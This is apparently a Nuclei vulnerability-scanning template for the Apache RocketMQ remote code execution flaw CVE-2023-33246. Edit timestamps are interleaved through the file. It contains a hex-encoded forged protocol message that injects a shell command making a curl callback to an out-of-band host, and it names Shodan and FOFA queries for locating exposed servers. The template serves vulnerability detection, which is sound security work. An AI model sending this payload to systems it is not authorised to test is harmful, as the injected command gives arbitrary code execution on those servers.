2023-06-01 15:32:58 +00:00
id : CVE-2023-33246
info :
2023-06-01 16:17:35 +00:00
name : RocketMQ <= 5.1.0 - Remote Code Execution
2023-06-01 15:32:58 +00:00
author : iamnoooob,rootxharsh,pdresearch
severity : critical
2023-06-01 16:21:22 +00:00
description : |
2023-06-08 18:07:44 +00:00
For RocketMQ versions 5.1.0 and below, under certain conditions, there is a risk of remote command execution. Several components of RocketMQ, including NameServer, Broker, and Controller, are leaked on the extranet and lack permission verification, an attacker can exploit this vulnerability by using the update configuration function to execute commands as the system users that RocketMQ is running as. Additionally, an attacker can achieve the same effect by forging the RocketMQ protocol content. To prevent these attacks, users are recommended to upgrade to version 5.1.1 or above for using RocketMQ 5.x or 4.9.6 or above for using RocketMQ 4.x .
2023-09-06 13:28:19 +00:00
remediation : Update the RocketMQ application to version 5.1.1
2023-06-01 16:17:35 +00:00
reference :
- https://nvd.nist.gov/vuln/detail/CVE-2023-33246
- https://github.com/I5N0rth/CVE-2023-33246
2023-07-16 13:29:08 +00:00
- http://packetstormsecurity.com/files/173339/Apache-RocketMQ-5.1.0-Arbitrary-Code-Injection.html
- http://www.openwall.com/lists/oss-security/2023/07/12/1
- https://lists.apache.org/thread/1s8j2c8kogthtpv3060yddk03zq0pxyp
2023-06-01 16:17:35 +00:00
classification :
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score : 9.8
cve-id : CVE-2023-33246
cwe-id : CWE-94
2023-07-16 13:29:08 +00:00
epss-score : 0.95581
2023-06-01 16:17:35 +00:00
cpe : cpe:2.3:a:apache:rocketmq:*:*:*:*:*:*:*:*
2023-06-05 11:30:49 +00:00
metadata :
2023-06-21 21:03:53 +00:00
verified : true
2023-09-06 13:28:19 +00:00
max-request : 2
2023-07-16 13:29:08 +00:00
vendor : apache
product : rocketmq
2023-09-06 13:28:19 +00:00
shodan-query : title:"RocketMQ"
fofa-query : protocol="rocketmq"
2023-06-30 22:53:55 +00:00
tags : cve,cve2023,rocketmq,rce,oast,intrusive,network
2023-06-01 15:32:58 +00:00
variables :
part_a : '{{ hex_decode ("000000d2000000607b22636f6465223a32352c22666c6167223a302c226c616e6775616765223a224a415641222c226f7061717565223a302c2273657269616c697a655479706543757272656e74525043223a224a534f4e222c2276657273696f6e223a3339357d66696c7465725365727665724e756d733d310a726f636b65746d71486f6d653d2d632024407c7368202e206563686f206375726c20") }}'
part_b : '{{ hex_decode("3b0a") }}'
tcp :
2023-06-01 16:17:35 +00:00
- host :
- "{{Hostname}}"
2023-09-16 19:35:21 +00:00
port : 10911
2023-06-01 16:17:35 +00:00
inputs :
2023-06-01 15:32:58 +00:00
- data : '{{ part_a + "{{interactsh-url}}" + "/////////////" + part_b }}'
read : 1024
read-size : 4
matchers :
2023-06-07 12:24:20 +00:00
- type : dsl
dsl :
- contains(raw,'serializeTypeCurrentRPC')
- contains(interactsh_protocol,'dns')
condition : and